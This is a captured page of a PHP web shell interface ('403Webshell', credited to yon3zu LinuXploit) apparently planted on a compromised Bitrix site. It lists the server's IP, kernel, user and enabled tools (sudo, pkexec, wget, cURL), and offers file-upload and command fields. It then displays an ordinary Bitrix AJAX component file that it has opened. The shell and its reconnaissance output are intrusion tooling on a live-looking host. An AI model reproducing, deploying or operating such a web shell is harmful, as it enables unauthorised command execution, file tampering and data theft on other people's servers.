403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/app.layout/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/app.layout/lazyload.ajax.php
<?php
define('NO_KEEP_STATISTIC', 'Y');
define('NO_AGENT_STATISTIC', 'Y');
define('NO_AGENT_CHECK', true);
define('PUBLIC_AJAX_MODE', true);
define('DisableEventsCheck', true);

$siteID = isset($_REQUEST['site'])? mb_substr(preg_replace('/[^a-z0-9_]/i', '', $_REQUEST['site']), 0, 2) : '';
if($siteID !== '')
{
	define('SITE_ID', $siteID);
}

require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php');
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

if(!CModule::IncludeModule('rest') || !check_bitrix_sessid())
{
	die();
}

global $APPLICATION;
Header('Content-Type: text/html; charset='.LANG_CHARSET);
$APPLICATION->ShowAjaxHead();

$componentData = isset($_REQUEST['PARAMS']) && is_array($_REQUEST['PARAMS']) ? $_REQUEST['PARAMS'] : array();
$componentParams = isset($componentData['params']) && is_array($componentData['params']) ? $componentData['params'] : array();

$componentParams['LAZYLOAD'] = true;

$APPLICATION->IncludeComponent(
	'bitrix:app.layout',
	'',
	[
		'PLACEMENT' => $componentParams['PLACEMENT'] ?? null,
		'PLACEMENT_OPTIONS' => $componentParams['PLACEMENT_OPTIONS'] ?? null,
		'ID' => $componentParams['ID'] ?? null,
		'PLACEMENT_ID' => $componentParams['PLACEMENT_ID'] ?? null,
		'APP_VIEW' => $componentParams['APP_VIEW'] ?? null,
		'USE_PADDING' => $componentParams['USE_PADDING'] ?? null,
		'POPUP' => $componentParams['POPUP'] ?? null,
		'IS_SLIDER' => $componentParams['IS_SLIDER'] ?? null,
		'INITIALIZE' => $componentParams['INITIALIZE'] ?? null,
		'LAZYLOAD' => $componentParams['LAZYLOAD'],
	],
	false,
	array('HIDE_ICONS' => 'Y')
);

require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/epilog_after.php');
die();

Youez - 2016 - github.com/yon3zu
LinuXploit